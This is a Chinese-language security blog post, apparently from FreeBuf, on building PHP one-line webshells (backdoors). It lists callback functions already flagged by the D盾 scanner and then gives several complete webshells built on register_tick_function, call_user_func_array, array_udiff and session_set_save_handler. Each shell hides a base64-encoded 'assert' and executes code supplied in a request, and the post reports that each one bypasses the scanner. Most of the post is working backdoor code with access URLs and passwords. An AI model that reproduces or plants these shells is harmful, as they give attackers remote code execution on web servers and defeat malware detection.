PHP一句話木馬研究
*本文原創作者:Gxian,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載
最近在研究PHP一句話後門,查閱了很多大佬的部落格,並從中衍生出了一些可用的方法。
現總結如下:
方案一:回撥函式
回撥函式:Callback (即call then back 被主函式呼叫運算後會返回主函式),是指通過函式引數傳遞到其它程式碼的,某一塊可執行程式碼的引用。
已被D盾查殺的函式:
array_filter()
array_walk()
array_walk_recursive()
array_map()
registregister_shutdown_function();
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce() 可疑(級別2)
array_walk()
array_walk_recursive()
1.register_tick_function()
構造一句話:
<?php declare(ticks=1); register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']); ?>
訪問URL:
IP/XXX.php?e=YXNzZXJ0
密碼:a
2.變種call_user_func_array()
嘗試模仿正常函式呼叫,定義一個簡單的function:
<?php function newsSearch($para0){ $evil=$para0; $exec=$_GET['id']; call_user_func_array($exec,array($evil)); } newsSearch($_POST['tid']); ?>
使用D盾查殺。
0ops!!沒過!!變數$exec被解析成了$GET["id"],但$evil沒有被解析,猜測只要將$exec放在newSearch()函式外面用GET方法獲取,就不會被D盾解析,編寫新的shell:
<?php function newsSearch($para0,$para1){ $evil=$para0; call_user_func_array($para1,array($evil)); } $exec=base64_decode($_GET['id']); newsSearch($_POST['tid'],$exec); ?>
OK!完美繞過!
訪問URL:
IP/XXX.php?id=YXNzZXJ0
密碼:key
同樣的方法可以使用call_user_func
函式,構造shell如下:
<?php function newsSearch($para0,$para1){ $evil=$para0; call_user_func($para1,$evil); } $exec=base64_decode($_GET['id']); newsSearch($_POST['tid'],$exec); ?>
3.變種array_udiff()
用相同的方法構造使用array_udiff()的shell:
<?php function newsSearch($para0,$para1){ $evil=$para0; $exec=$para1; array_udiff($arr=array($evil),$arr1 = array(''),$exec); } $exec=base64_decode($_REQUEST['exec']); newsSearch($_POST['key'],$exec); ?>
訪問URL:
IP/XXX.php?exec=YXNzZXJ0
密碼:key
剩下的回撥函式也可以用相同的方法繞過D盾。
4.session_set_save_handler
session_set_save_handler函式可以定義使用者級的session儲存函式(開啟、儲存、關閉),當我們想把session儲存在本地的一個數據庫中時,本函式就很有用了。
編寫shell如下:
<?php error_reporting(0); $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert function open($save_path, $session_name)// open第一個被呼叫,類似類的建構函式 {} function close()// close最後一個被呼叫,類似 類的解構函式 { } session_id($_REQUEST['op']);// 執行session_id($_REQUEST['op'])後,PHP自動會進行read操作,因為我們為read callback賦值了assert操作,等價於執行assert($_REQUEST['op']) function write($id, $sess_data) {} function destroy($id) {} function gc() {} // 第三個引數為readread(string $sessionId) session_set_save_handler("open", "close", $session, "write", "destroy", "gc"); @session_start(); // 開啟會話 ?>
使用D盾查殺。
$session被解析為assert,猜測D盾認為該函式的引數中不應該含有assert等敏感函式,否則就掛掉!把$session用GET輸入試試:
$session=$_REQUEST['id'];

看來只要引數中含有敏感函式、GET、POST、REQUEST都會報錯!
嘗試建立一個使用者函式,在函式中呼叫session_set_save_handler(),並將assert作為引數傳入:
<?php error_reporting(0); //$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert function test($para){ session_set_save_handler("open", "close", $para, "write", "destroy", "gc"); @session_start(); // 開啟會話 } $session=base64_decode($_REQUEST['id']); // open第一個被呼叫,類似類的建構函式 function open($save_path, $session_name) {} // close最後一個被呼叫,類似 類的解構函式 function close() { } // 執行session_id($_REQUEST['op'])後,PHP自動會進行read操作,因為我們為read callback賦值了assert操作,等價於執行assert($_REQUEST['op']) session_id($_REQUEST['op']); function write($id, $sess_data) {} function destroy($id) {} function gc() {} // 第三個引數為readread(string $sessionId) test($session); ?>
完美繞過!